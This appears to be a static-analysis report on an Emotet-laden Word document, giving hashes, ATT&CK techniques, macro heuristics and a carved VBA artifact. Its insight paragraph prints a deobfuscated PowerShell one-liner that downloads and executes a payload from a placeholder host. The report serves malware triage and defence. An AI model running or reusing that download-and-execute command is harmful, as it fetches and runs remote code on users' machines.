Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 516d2c1801739512…

MALICIOUS

Office (OLE)

155.8 KB Created: 2020-09-15 17:12:00 Authoring application: Microsoft Office Word
MD5: 25e7a78d75a2e78f6b3aad195f02c339 SHA-1: 2042542bd5462ca0adcf4880519101ab9a542dcf SHA-256: 516d2c1801739512c12fd4df367d4eb778b8597b91ec6a984d30da7ad74e435f
240 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File

The sample is identified as malicious by ClamAV with a specific Emotet signature. High-severity heuristics indicate the presence of VBA macros, specifically a Document_Open auto-execution macro that uses CreateObject to initiate execution. The extracted DOC BODY contains a heavily obfuscated PowerShell command that, when deobfuscated, appears to be: powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.tld/payload.exe')". This script is designed to download and execute a second-stage payload from a remote URL, a common Emotet delivery technique.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9762377-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9762377-0
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
2935858df1d0c162d4ca045aee67cb5dd51728380f384e9ebdf2e9a82ed900e7
vba-macro oletools.olevba.extract_macros (decoded VBA source) 22872 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.